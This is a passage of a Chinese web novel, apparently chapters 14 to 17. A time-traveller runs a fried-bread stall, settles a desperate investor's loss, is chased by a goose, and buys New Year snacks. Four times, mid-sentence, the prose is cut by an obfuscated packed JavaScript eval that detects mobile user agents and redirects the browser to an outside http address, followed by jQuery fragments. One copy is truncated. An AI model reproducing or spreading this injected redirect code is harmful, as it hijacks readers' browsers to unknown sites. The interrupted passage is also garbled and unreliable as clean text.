“做这种投资，第一要紧的，就是不能贪。哪怕投进去的钱全部折了，日子还能照过，这才叫投资。” “孤注一掷的，那就是赌博啊！切记切记！” “……也就是说，他都这么提醒你了，你还是把手里的钱全投进去了？”陈瑞安感到深深的无语。 李英抹了一把脸：“其实，我当时一听到他说有风险，就有点儿害怕了。” “我一想，如果投的钱少，就得投好几次，才能凑齐我需要的钱；如果我全投进去，就只用投一次。这样，风险不是小得多吗？” ……大哥，这逻辑不对吧？ “陈兄弟，你就当帮帮我。”李英满脸悔意，“分红我也不要了，我只想要回我的本钱，你把本钱还我就行！” 爹道：“李英兄弟，话要说清楚，这钱可不是‘还’你。你的钱投到我们手里，就等于你已经接受了盈亏自负的规则了！ “剩下的本钱，我们已经按比例给你送去了。亏了的这部分，我也没办法呀！” 李英忽然“扑通”一声，朝着爹跪下了：“大哥，算我求你，你把我的本钱给我吧！你的大恩大德，我记你一辈子！” 爹趴在床上，想搀李英起来而不能，急道：“李英兄弟，你这不是为难我嘛！” 陈瑞平要搀李英，李英不肯起，仍一个劲儿赖在地上。 “陈兄弟，我跟你说句实话。”李英急得双眼发红，“前几天那场大雪，把我的醉仙居压塌了呀！” 这几日家里太忙，大家都还没听说这个消息，不由得面面相觑。 李英接着道：“我一家老小，全靠着醉仙居吃饭呢！醉仙居一塌，我们家的生意也做不成了；老婆问我钱都去哪儿了，我也不敢说实话。” “陈兄弟，你行行好，给我留条活路把！你给我的那点儿钱，远远不够修房子的。我实在是被逼得没办法了呀！” 沉默良久，陈瑞安道：“除了我爹已经给你的，还剩多少钱？” 李英道：“我投了二十两，只回了六两，还剩十四两。” 陈瑞平忍不住道：“小安，我们自己家里还欠着债呢。” “我知道。”陈瑞安取来纸笔，对李英道，“这样吧，写张欠条，这钱就当我们借你的。别人要是问起来，你别说是我们借给你的就行。” “利息算你一分，比市面上低，别说我们坑你。限两年期还清，能接受吗？” 李英有些犹豫：“但是……” 陈瑞安马上道：“不行就算了，你走吧。” “能、能，我一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139259|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按时还钱！”李英赶紧道。 李英暗想，虽然两年未必能攒出这么多钱，但到时候还可以向亲戚朋友们借些。只剩几两，一方面比较好借，另一方面，也不至于惊动了家里的人，让自己亏了这么多钱的事情败露。 陈瑞安请示爹娘的意见：“爹、娘，你们觉得这样行吗？” 爹和娘对视了一眼，最终无奈地点了点头。 写好欠条，李英按下手印，带着钱走了。 “按理，我们完全不用管他。他就是报到官府去，这亏损也该他自己承担！”看着沉甸甸的银两被李英带走，陈瑞平十分心疼。 爹道：“话是这么说，但光脚的不怕穿鞋的，他要是真闹起来，免不了又有许多麻烦事。小安处理得很好。” 虽然被爹夸了，但陈瑞安也很心痛：“权宜之计罢了。唉，他拿走的那些钱里，有不少可是我们挨家挨户借来的！” “没事，挣得回来！钱财能解决的，都是小事。”爹做了许多年生意，盈盈亏亏，颇想得开。 “娘，快看看我们还剩多少钱？” 张金花把钱都摊在茶几上，如今家里已经没有银子，全是铜钱了。 “五贯三百一十七文，划二两不到。”张金花数了好几遍。 陈瑞安愁得白头发都要长出来了：“我们还欠着十四两二贯钱的外债呢！” 爹摸了摸陈瑞安的头；“没事，爹来给你算算，靠你们兄妹俩，多久能还清。” 爹抓起算盘，快速拨了一通：“……八个月就能还清了！快得很。” 陈瑞安的脸都快皱成苦瓜了：“爹你算的这是纯赚！我们一家人还要吃饭呢！” 还有爹的药钱，更是一笔大开支。啊啊啊，越想越烦了！ “等等，”陈瑞安忽然抬起头看了看窗外的太阳，“现在是什么时辰了？” 陈瑞平：“……不好。” 一早上发生了这么多事情，完全忘记还要上班了！ 陈瑞安狂奔了一路，紧赶慢赶，好不容易才到了舒家。 舒小姐见她来，撇撇嘴道：“姐姐，你今天来晚了。” “对不起对不起，出了点事情。”陈瑞安喘着粗气，拉了把椅子坐下。 这一天的运动量真是超标，抵得上从前一个月了！ 刘婶关切地问道：“怎么，摆摊摆得不顺利？” 舒家一家人都知道她摆摊卖酱香饼的事。 “摆摊倒是挺顺利的——不对，也不怎么顺利。” 陈瑞安理了理浆糊似的脑子，把这一早上发生的事情徐徐道来。 “……可真不容易。陈瑞安，从前我真是小看你了，你还挺厉害的。”刘婶咂舌道。 陈瑞安感觉身体已经被掏空，连被刘婶夸这种太阳打西边出来的事情，也无暇去高兴了。 “还是得想办法，看看怎么样才能多卖点酱香饼。唉，我都有点后悔借那么多钱给他了！应该只借一半的。” 舒小姐歪歪头，道：“姐姐，我觉得我也可以帮你。” 15. 大鹅 舒小姐刚满九岁，模样还很稚气，脸颊上的婴儿肥都未褪去。此刻，她却表情严肃，一副很老成的样子，陈瑞安不由觉得好笑。 “你能帮我什么？”陈瑞安奇道。 舒小姐道：“我现在刷牙刷得很好了，不需要人看着了。姐姐可以比平日晚些过来，这样早上就能多卖一会儿酱香饼，还能回家收拾一下、歇一歇。” 陈瑞安听了，有些动心，但还是摇摇头，道：“关键是，早上我不过来，你自己起不来床呀。” 一年多过去，舒小姐依然是个不折不扣的起床困难户。 关于此事，舒先生一向颇有微词。在读书人眼里，不说“头悬梁，锥刺股”，至少不该一觉睡到日上三竿。 舒小姐的这个坏习惯，几人也曾下力气扳过几次，只是非但不见成效，还把舒小姐折腾得呵欠不断、眼圈乌青。 孙阿瑜看着心疼，便劝舒先生，女孩子不必科考，睡便睡了。而且小孩子本就觉多，是为了长身体；过几年大了，兴许就好了。 舒先生被劝住，渐渐睁一只眼闭一只眼了，只偶尔提一两句。 反倒是舒小姐，听了“女孩子云云”的话，不大高兴。 此后，她觉虽然不曾少睡，功课却愈发努力了。 现在，她的学习进度，比起学堂里正经要考秀才的男孩子，倒还要快些。 总之，起床这件事，对舒小姐是一个老大难的问题。 如今，辰时过半，刘婶就叫舒小姐起床了。但舒小姐磨磨蹭蹭，总要捱到巳时，等陈瑞安来了，才肯洗脸吃饭。 舒小姐有些心虚地道：“我……应该可以起得来。” 刘婶从鼻子里哼了一声，道：“起得来个屁。” 陈瑞安想了个办法：“这样吧，我给你布置一个作业。每天我来以前，你先在院子里打两套八段锦。 “如果完成了，奖励……我每月做蛋糕给你吃。不许偷懒，我要问刘婶检查的。” 陈瑞安给舒小姐做过一次蒸蛋糕，舒小姐念念不忘，喜欢得不得了。 只不过，在没有电动打蛋器的年代，要用筷子把一碗蛋清打发成蛋白霜，简直能把人累掉半条命！ 陈瑞安当时发誓，绝不再做蛋糕了。 只是，若能晚些来上舒家的班，就能多赚些卖酱香饼的钱。陈瑞安现在十分缺钱，为了钱，累便累些吧。 刘婶赞同道：“这个主意好，正好我同阿瑜也可以跟着一起打。上次你教我打了一次八段锦，我便觉神清气爽，只是总犯懒，养不成每日都打的习惯。” 舒小姐听闻有蛋糕，欢欣鼓舞，立马同意了。 只是要推迟上班时间，光舒小姐还做不了主。 这日下班后，陈瑞安特意没有走，只等舒先生回来。 “……大概就是这样。如果青青还是做不到按时起床，我们就依旧改回巳时开始。毕竟工作时间缩短了些，我的月钱，您看着减一些。 “当然，如果您觉得不妥，我们还照着现在的时间来，您说了算。” 舒先生道：“我没有意见。月钱呢，也不必减了。你来我们家做了一年半，一直做得很好，我也没有给你涨过，全当这次给你涨工钱了。” 陈瑞安知道，舒先生是看她家有困难，有心照顾，十分感激。 翌日，陈家兄妹依然出摊卖酱香饼。 有了昨天的经验，两人动作都熟练了不少。 这一次，陈瑞安做了十二张饼。 惊喜的是，来买酱香饼的客人里，有不少都是昨天的回头客。 这些客人纷纷表示，昨天吃完酱香饼，总感觉意犹未尽，还想再吃，惦记了一整天了。 因此，新客人加上旧客人，今天的生意比昨天还要好。巳时不到，十二张饼就卖空了。 陈瑞平很高兴，道：“照这个趋势，要达成咱们每天卖二十张饼的目标，就指日可待了。” “就算卖了二十张饼，一天也才赚二百文呢。”陈瑞安还是不太满意。 “才？一天二百文，一个月就有六贯了！” 陈瑞安摇摇头：“跟你我的差事比，一个月六贯是不少。但要跟我们家十四两的债务比，那可太少了！” 不行，还是得想想，怎么样才能卖出去更多的酱香饼！ 收了摊，两人各自去上班。 陈瑞安去舒家的路上，还在担心，舒小姐今日不知起床了没有。 到了舒家的门前，她远远听见里面的欢声笑语，这才放下心来。 陈瑞安问来给她开门的刘婶：“青青起来啦？打八段锦有用吗？” 刘婶嘴角的笑压都压不下来，神秘兮兮地道：“不是八段锦。你进去看看，就知道了。” 舒小姐住的是东厢房，东厢房的东侧与外墙之间，隔出了一个小小的院子。舒小姐的笑声就从那边传来。 难道是来客人了？ 陈瑞安找过去，惊讶地发现：小院子竟站着一只洁白的大鹅！ 大鹅见陈瑞安过来，十分适时地朝她“嘎、嘎”鸣了两声。 “这是舒先生从佃户家里买来的。”刘婶在身后笑道，“一大早上就在这里叫了。养在这个地方，青青往后要睡懒觉，可就难了。” “要打鸣的，怎么不找只公鸡来？”陈瑞安奇道。 刘婶解释：“青青喜欢鹅。而且，论打鸣，鹅可不输公鸡。” 陈瑞安后来才领悟到，鹅是怎么个“不输”法。虽然公鸡声更大更尖锐，但鸡还算识相，只在早晨打鸣；而鹅却能早晨叫、中午叫、晚上叫，一天到晚地鼓捣它那破锣嗓子，叫得人心烦意乱。 此刻，她还对大鹅抱有一种朴素的喜爱。 大鹅的羽毛洁白而丰满，看起来十分好摸；橙黄的脚蹼一拍一拍，憨厚可爱。 舒小姐正搂着大鹅撸它，从它的喙和头一路撸到它长长的脖颈，再撸到胖胖的背。 陈瑞安手痒，也伸出手去摸。 不料，陈瑞安的手刚伸出去，大鹅的两颗黑豆眼忽然闪烁着凶光，它把一双肥美的翅膀往后收，把长脖子伸得与地面垂直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15169775|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，朝陈瑞安俯冲过来！ 陈瑞安尚且有些懵，直到大鹅“啪嗒啪嗒”地加速靠近，“嘎嘎”地长大嘴，陈瑞安才看清——它人畜无害的喙里，竟藏着满满一嘴的锯齿！ 我靠！ 陈瑞安吓得尖叫着在院子里四处乱窜，大鹅却越追越兴奋，一对翅膀拍打如擂鼓，“嘎嘎”声不绝于耳，满院子追杀这个不知分寸妄想撸它的人。 终于，在即将耗尽最后一丝力气时，陈瑞安一个急转弯，灵活地闪进了屋里，门一摔，把大鹅关在了院子里。 大鹅犹隔着窗户鸣叫示威，刘婶和舒小姐已经笑得直不起腰来。 陈瑞安惊魂未定，心还在怦怦跳：“为什么它只追我，不追你们啊？” “它早上已经追过刘婶了，所以刘婶才把你骗进来，自己待在外面呢！”舒小姐嘻嘻道。 陈瑞安难以置信地望向刘婶：“刘婶！我待你不薄啊！” “哪能光我一个人被它追！”刘婶幸灾乐祸，笑得停不下来，“从这只鹅出生开始，青青就惦记上了，常去看它。所以，它才不追青青。” 陈瑞安抚着心口叹气：“喜欢什么不好，非得喜欢鹅！” 舒小姐喜欢王羲之的字，舒先生便讲了“王羲之观鹅姿悟笔法”的故事给她听。 从此，舒小姐老惦记着要学王羲之，养只鹅来帮助学书法。 “大鹅哪里不好？”舒小姐扁扁嘴，“看这嘴、这脖子、这羽毛，多漂亮！” “漂亮漂亮，你最近不是学画画儿么，你给它画张像，挂在房里，天天对着看。” 陈瑞安不过开个玩笑，舒小姐却当了真，越想越觉得可行，果真跑进来要画一张。陈瑞安少不得替她磨墨、找颜料。 舒小姐提起笔，先用淡墨画了一个长长的脖子，然后画了一个肥肥的身子。 陈瑞安赞道：“画得像。” 舒小姐又画上头、喙和脚蹼，点缀出了几根羽毛，最后，用朱砂给喙和脚蹼上了色。 嚯，栩栩如生！ 在画画这门技艺上，舒小姐还是初学者，并不十分擅长。然而今日这鹅，却画得十分好。 “你日日心里都想着鹅，所以画鹅画得好。人家是‘胸有成竹’，你这叫‘胸有成鹅’。”陈瑞安外行瞎分析道。 舒小姐自己也对这幅画十分满意，想了想，道：“不是的，是因为鹅的线条简单又有特色，颜色也分明。 “只要画出了鹅的长脖子、扁嘴巴，再用朱砂点上颜色，怎么看都不会差。 “爹教我画兰花，兰花的花和叶子都精巧，失之毫厘差以千里，所以不好画。” 是这个道理。后世的儿童画，往往教孩子们画动物、水果，因为这些东西特色鲜明，容易分辨。 如果……把这套道理，挪用在怎么卖酱香饼上，应该怎么做呢？ 见陈瑞安一副沉思的表情，舒小姐问她：“姐姐，你在想些什么呢？” 陈瑞安回过神来，道：“青青，你的画儿画得这么好，帮姐姐画一幅呗？” 16. 变态辣 晨光熹微，阳光轻柔地洒落在路面，为昨晚冻得僵硬的地面带来一些温度。 这个时间，整个河头县还十分静谧，只有枝头清脆的鸟叫声清晰可闻。河头县的大多数百姓，都还刚从梦乡中悠悠转醒，睡眼惺忪地准备开启新的一天。 唯有东街，是另一番热闹景致。 卖早点的小商贩们，早已将摊位精心布置妥当。他们借着哈出的白色雾气，不断搓手取暖，试图驱散早晨的寒冷。他们的目光时不时扫向街口，期待着今早第一批食客的到来。 一众摊位中，有一个小摊看起来格外特别—— 摊子两侧，如酒店的酒幌一般，用木头架子支起了两面旗子。 左边的旗子上，画着一张栩栩如生的酱香饼，色泽金黄而有光泽，上面洒满绿莹莹的葱花，看起来十分诱人。饼图的旁边还写着一列大字：“陈氏酱香饼”。 右边的旗子上，则自左而右、从少到多，画着三摞不同大小的已经切成小块的酱香饼，显然是为方便食客区分分量。 每摞饼下方，对应地标着价格：“中份四文”、“大份六文”、“超大份八文”。 在这些字旁边，还依照价格画了不同个数的铜钱。更妙的是，价格旁边，还用画出了相应个数的铜钱。图文并茂，哪怕是不识字的客人，也能一眼看明白。 对面麻花铺子的乔秀珠，近日已成为酱香饼摊的常客。今日，她来买酱香饼，刚一走近，目光便被这两面崭新的旗子吸引，把本来就大的眼睛瞪得更大了。 “小安，这上面的酱香饼，是你画的吗？画得真好！” “我哪有这本事！”陈瑞安摇摇头，“我特地请人帮我画的。” 为了感谢舒小姐帮她画这些图，她还精心熬煮了一碗陈皮红豆沙给她呢。 乔秀珠并不识字。右边标着价格的旗子，她能照着图样瞧个大概明白；但左边旗子上的一排大字，她却读不懂。 “这几个字，写的是什么呀？” 陈瑞安顺着她手指的方向看去，应道：“写的是‘陈氏酱香饼’，算是给咱这小摊立个名号。” 乔秀珠只觉得新奇有趣，笑道：“没想到你们这个小摊，竟和人家的铺子一样，有了自个儿的招牌了！” “那可不！”陈瑞安挺了挺脊背，“有了这个招牌，即使将来有人瞧我们生意好，模仿我们做酱香饼，大家就知道，只有写着‘陈氏酱香饼’的，才是最正宗的了。” 乔秀珠竖起大拇指：“陈老板有远见。这两面旗子一挂，客人一来，什么也看不见，净看你这两面旗子来了，生意能不好嘛！” 要的就是这个效果，扎眼！ 前几天，受舒小姐画大鹅的启发，陈瑞安冥思苦想，没日没夜地琢磨，终于构思出了一整套营销方案。 她深知，在挤着这么多小摊贩的东街上，要想脱颖而出，就一定得有特色！ 酱香饼好吃，而且有着独一无二的口味，这是前提。 就像画大鹅，首先得鹅长得有特色，才比较好画。 但要卖东西，光产品好可不够，还得让大家都知道我们家的产品好！ 如同提炼出大鹅长长的脖颈、橙黄的喙和脚蹼，陈瑞安需要提炼出酱香饼的核心卖点，并想方设法，尽可能地将这些亮点毫无保留地展示给来往的人群。 竖起两面旗子，首先就能先声夺人，把过路人的视线都吸引过来，让大家注意到，这里有一个卖酱香饼的摊子。 旗子，还只是陈瑞安计划的第一步。 在吸引了大家的目光之后，接下来的关键，就应该把酱香饼的吸引人的独特之处，清清楚楚地向每一位路人宣传。 送走了乔秀珠后，街上渐渐有了客流。 陈瑞安用胳膊肘轻轻碰了碰身边的陈瑞平，悄声道：“昨晚教你的吆喝，记牢了吗？现在可以喊了。” 陈瑞平生性有些腼腆，要他扯着嗓子叫卖，好比赶鸭子上架，实属无奈之举。 他有些难为情，犹豫再三，才蚊子哼哼般挤出几个字：“祖传……祖传酱香饼……” 风一吹，他的叫卖就被淹没在嘈杂的市声里。 “大点儿声！”陈瑞安握紧拳头，做出一个“加油”的手势。 “可是……咱们的酱香饼，压根儿也不是祖传的呀！”陈瑞平有些心虚。这不是虚假宣传嘛！ “让你喊你就喊！还想不想挣钱？”陈瑞安瞪他一眼，“从我们这一代开始传，往后传千秋万代，怎么不算祖传？” 陈瑞平咬咬牙，眼一闭心一横，学着周围商贩的样子，大声吆喝道：“祖传酱香饼，鲜香酥脆，好吃不贵！免费试吃，数量有限，卖完即止！中份四文，大份六文，超大份限时八文！” 他的声音起初还有些颤抖，但越到后面，越是顺畅响亮，引得不少路人纷纷侧目。 为了钱，值得的！ 相较于其他五花八门的早点品类，酱香饼最大的亮点是——浓郁醇厚的咸香酱料、富有层次的酥脆口感。 要想在这川流不息的人潮中，吸引到路过的食客，就必须以最快的速度，让食客了解到，酱香饼是多么好吃实惠。 试吃固然是最有效率、转化率最高的妙法，可现实情况是，食客们大多行色匆匆，未必肯在小摊前驻足，如此一来，他们也就没有邀请客人试吃的机会。 而吆喝叫卖，无疑是最简单易行的方法，能让忙碌的食客们在赶路的间隙，迅速了解到产品的优势。 陈瑞安费了不少心思，精心设计出这条凝结了酱香饼的口味、试吃的信息、亲民的价格于一体的叫卖口号。 这两招的效果立竿见影，不少新客人凑上前来，要了一份试吃。 大多数客人在试吃过后，都会为酱香饼的美味所折服，当即决定买上一份。 “老板，我要一个……超大份的酱香饼！” “好嘞！” 陈瑞安手脚麻利地铲起一张刚煎好的热气腾腾的饼，熟稔地拿起刷子，蘸上酱料，均匀地涂抹在饼上。 “诶？老板，你这个装酱的坛子，还挺好看的哈！”眼尖的客人一眼看见了那个与众不同的坛子。 客人的话第三步，正中陈瑞安下怀，她等的就是客人主动提及这只坛子，这便是她计划中的第三步——不动声色地向客人吹嘘，哦不，是介绍，酱香饼的最大特色：秘制酱料。 诚然，陈瑞安可以趁着给客人装饼的时间，把自己的酱料介绍一通。 但这种时候，客人多半只惦记着自己那份饼什么时候能好，哪有心思关注她王婆卖瓜！ 所以啊，引导客人主动发问，才是上上策。 陈瑞安下了血本，专门跑到瓷器店里，斥巨资买了一只粉彩瓷坛，坛子上画着一朵娇艳的大牡丹和一只灵动的喜鹊，看着十分喜人。 像坛子这般日常的用具，多数平民人家只图个实惠、耐用，往往舍不得用这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15177802|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种价格不菲又娇贵易碎的瓷器，而是大多选用朴实无华的土陶坛子来替代。 见了这么精致漂亮的坛子，自然会有一部分客人觉得新鲜有趣，而主动挑起这个话题。 鱼已上钩，陈瑞安便不紧不慢，假装随意地开口道：“这里面装是我们家祖传的秘制酱料，金贵着呢！酱香饼好吃，可全靠这个酱，当然得用点好东西来装啦！” 客人恍然大悟地点点头：“原来是这样！你们这个酱，确实口味很不错！” 花点小钱就能品尝到人家的祖传秘制酱料，客人越发觉得这饼买得值，对小摊的印象也更深了，暗暗想下次还要来买。 说话间，陈瑞安已经装好了一份酱香饼，包在油纸里。 “大哥，您要不要辣？” 客人摇摇头：“不要，我吃不了辣，不过我媳妇儿爱吃辣。你们这儿还能选辣度呢？” “是的。”陈瑞安笑眯眯地把一份不加辣的酱香饼递过去，耐心解释道，“每个客人的口味不一样，众口难调嘛，所以我们辣不辣的都有，大家都能吃到喜欢的口味。” 排在这位客人后面的是一位大姐，听到他们的对话，她忍不住插话道：“辣一点才香呢，你居然不要辣！妹子，我的那份要加辣！” “行！姐，那你是要微辣、中辣，还是变态辣？” “什么是变态辣？”大姐一脸疑惑，显然是头一回听闻这个说法。 “变态辣就是特别特别辣！”陈瑞安笑着解释道，“一般人不敢轻易尝试，不过看姐您这豪爽劲儿，指定没问题！” 大姐被逗得哈哈大笑：“那我要一份变态辣！” 陈瑞安应了一声，拿起一旁的辣椒面，往酱香饼上狠狠撒了好几下，空气中也弥漫起一股呛人的辣味。 红彤彤的辣椒面一撒上，酱香饼瞬间增色不少。 “姐，您的变态辣酱香饼，好吃再来！”她笑着将饼递给大姐。 前几天，总有食客来买饼时，见了色彩鲜亮的酱，就问她这饼辣不辣。 陈瑞安往酱料里加了辣椒面，虽然量不多，只是稍稍提提味，但总归有些辣味。 不少客人听说是辣的，立马连连说不能吃辣，抬腿就要走。 任凭陈瑞安百般解释，这辣味其实几乎可以忽略不计，甚至热情邀请他们试吃，他们也不肯尝上一口。 于是，陈瑞安灵机一动，特地不再往酱料里放辣椒面，而是把加辣这个环节，移到出品的时候。 一来，如此一来，就能迎合不同客人的口味。爱吃辣的，加多多的辣椒面，吃起来更香；吃不了辣的，也能安心品尝纯粹的酱香风味。 按照自己的需求进行选择，客人自然更会觉得酱香饼好吃。 而那些原本因为怕辣而流失的客人，这下也能稳稳留住了。 二来，让客人自己决定要不要加辣、加什么程度的辣，看似是一件小事，其实能为客人提供一种个性化体验。客人们得到了选择权，这无形中就为他们提供了情绪价值，增强了客户粘性。 三来，客人听说了“变态辣”的口味选择，兴许就会觉得好玩，从而向身边的人分享，形成免费的口碑宣传。 多管齐下，成效显著。 忙了一早上，到了收摊回家时，陈瑞安一算，居然已经卖出去了二十一张饼！ 比他们的目标还要多一张！ 即使是个小小的酱香饼摊，商业思维也必不可少啊！ 17. 买年货 如此这般，在陈瑞安的精心经营下，酱香饼摊的生意蒸蒸日上，业绩一日好似一日。 到了年前，日均销量已然达到了二十七张。 在这竞争激烈的东街上，酱香饼摊算是站稳了脚跟。 如陈瑞安所料，没过多久，果然有几个跟风者盯上了酱香饼这块“肥肉”，也在东街卖起了酱香饼。 不过，他们做出来的饼，多半只是简单抹上甜面酱或辣黄豆酱。没有了秘制的酱料，自然不能与陈氏酱香饼相提并论。 陈氏酱香饼原本就是薄利多销的路线，这些人的价格也很难做到更低，就更抢不走什么生意了。 偶尔有不想排队的客人，买了他们家的酱香饼，只觉咸而无味，反而更衬出陈氏酱香饼的好来了。 不过，生意太好也有烦恼。 现场煎饼太费时，赶不上卖饼的速度，队伍越排越长，难免会损失一些客人。 有钱赚不到，陈瑞安急得团团转。 为此，她想了个办法：前一日晚上将饼擀出来，提前在家里的锅上略煎一煎，第二天早上再带去摊位上复煎。 这样一来，出餐速度更快，就能节省宝贵的早高峰时间。 而且，复煎过的面饼，饼皮更加酥脆。只要保存得当，内部的水分也不会流失太多，依旧保持着松软的口感。 在晚上煎饼，张金花也可搭把手。能帮着儿女分担些，张金花很满足。 腊月二十，舒先生给陈瑞安放了元日假。 年关愈近，街上的人就愈少，连往日最热闹的东街都有些冷清。 大家放假的放假、回家的回家，难得团圆又清闲的日子，不少人家会选择自己在家里做早饭。 蚊子肉也是肉，放假后，陈瑞安仍咬牙摆了几天摊，一直摆到了腊月二十五。 眼见着实在没什么生意可做了，她才终于下定决心，收了摊子，安心窝在家里过年。 卖了这么久的酱香饼，虽然离还清债务还遥遥无期，但手上总算攒了些余钱，可以踏踏实实过个好年了。 陈瑞安自告奋勇，要在东街上替家里采买些年货，趁收摊时一并带回家。 肉菜果米这类年货，陈瑞安不会挑，交给经验丰富的张金花置办。 她负责买的，是一些解馋的零食。 张金花的口味颇为老派，爱买一些冬瓜糖之类的点心。陈瑞安嫌甜腻，不爱吃，她要买些自己爱吃的小零食回去。 乔秀珠之前帮了她一次忙，还经常照顾酱香饼摊的生意，陈瑞安记在心里，早就盘算好，年货就去她家的麻花店买。 虽说店名叫做麻花店，但乔氏麻花店并不只卖麻花这一样。米花糖、芝麻糖、红薯干、江米条这些常见的点心都是卖的，还兼卖些瓜子花生之类的炒货。 有了招牌的麻花引流，这些点心也都卖得不错。 陈瑞安走进店里，热情地向乔秀珠打招呼：“秀珠姐！我来买点儿过年吃的点心。” 陈瑞平跟在后面，脸上带着温和的微笑，静静等着一会儿拎包。 乔秀珠正在整理货架，听见客人进门，她下意识要招呼：“随便看看啊，都是——诶，是你们？” 见了陈家兄妹，她露出惊喜的神情，热情招呼道：“爱吃什么？我给你们介绍。” 这会儿时间还早，麻花店也才刚刚开门，店里除了他们两个，再无其他客人。 见乔秀珠不忙，陈瑞安也就放松下来，不紧不慢地仔细挑选着。 首先要了一斤麻花，半斤原味的，半斤黑芝麻的。 乔秀珠拿起秤，熟练地给她称麻花，秤砣那头翘得格外高，简直快要滑下来。 陈瑞安注意到了，忙道：“秀珠姐，你不必特意多给我呀，按正常的分量就行。” 乔秀珠满不在乎道：“没事儿，我买你的酱香饼的时候，你不也常给我抹零嘛。大家互相照顾，不用客气！” 称完麻花，乔秀珠指着货架上的花生糖，推荐道：“这个花生糖是今天新做的，你尝尝，可香了。” 陈瑞安拣了一小块碎的尝尝：“嗯，确实好吃！这个也来一斤。” “好嘞。”乔秀珠伸手抓了一大把花生糖，，不由分说地塞进陈瑞安的围裙口袋里：“好吃就多尝一点。” “连吃带拿，怪不好意思的。”陈瑞安笑道。 “咱俩谁跟谁呀，放心吃！”说着，乔秀珠又抓了一大把，塞进陈瑞平的口袋里。 陈瑞平隔着衣服感觉到了乔秀珠的手，吓得往后退了半步，顿时羞红了脸，手僵在那里，收也不是，推也不是，颇不自在。 两个女孩子兴致勃勃地接着挑零食，没有注意到他的窘状。 又陆续称了些酥糖、江米条、柿饼，还有一些瓜子花生，陈瑞安掂量着分量差不多了，就喊乔秀珠结账。 乔秀珠拿起算盘，一边熟练地快速拨动，一边用笔记下结果，看起来专注又利落。 陈瑞安眼中满是羡慕，由衷道：“秀珠姐，你拨算盘的样子特别有魅力。要是我也会打算盘就好了。” 乔秀珠嘴角上扬，有些得意地笑笑，道：“算盘学起来不难的，你这么聪明，脑子又活，肯定一学就会。就是得下苦功夫练。” “麻花三十二文，算你三十文；花生糖十五文，算你十文吧；江米条十九文，算十文……”乔秀珠边算边报着账。 陈瑞安越听越离谱。 谁家抹零是把十九文算十文的？这不直接打对折了嘛！ “不不不，不能这么算，这样你们要亏本的呀。”她赶紧连声推拒。 “放心吧，亏不了。”乔秀珠满不在乎地抬了抬头，“再说了，我上次不是说了，你如果来买麻花，我给你抹零嘛！” 陈瑞安哭笑不得：“那也不是这么个抹法呀！你看，你全部加起来，总额给我抹个零就行了。” 乔秀珠却像没听见似的，算完后把手一摊：“一共一百文。” 陈瑞安拗不过她，只好掏出钱来，付了那一百文。 “秀珠姐，我刚才就想说了，这是你自己家的店吧？你怎么有点儿……不怎么想赚钱的样子？” 就跟现代那些暑假工似的！ 乔秀珠给她逗笑了，道：“你怎么跟我爹说一样的话？我爹常说：‘这可是你自己家的店，你可得好好干，多跟客人推销推销才行！’” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196838|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“大家应该都这么想吧？毕竟都是为自己家里挣钱。” “不过呢，每次我想跟着学学看账本，我爹就又说了：‘这店将来是要留给你弟弟的，跟你又没有关系！女孩子，给家里帮帮忙就行了。’”乔秀珠一边给刚刚的点心装袋一边说道。 口中说的是些伤心话，但乔秀珠的语气和表情都很轻松，没什么委屈不甘的情绪。 不像在说自己，倒像在八卦别人家的玩笑似的。 话音未落，帘子后面忽然探出一只脑袋来。 那脑袋道：“秀珠，你好好看店，别光顾着聊天了。” 乔秀珠翻个白眼，不耐烦道：“我这不就正在招待客人呢吗？” 陈瑞安见状，赶紧接腔：“没错，她在给我算钱呢。” 那脑袋拿乔秀珠没办法，向陈瑞安陪笑道：“你别听她胡说，她呀，一天到晚逮着人就抱怨。不知道的，还误会我们多亏待了她似的。” 乔秀珠听了，算盘重重一摔，转过头去瞪。 那颗脑袋被她这么一瞪，赶紧缩了回去，消失在了帘子后面。 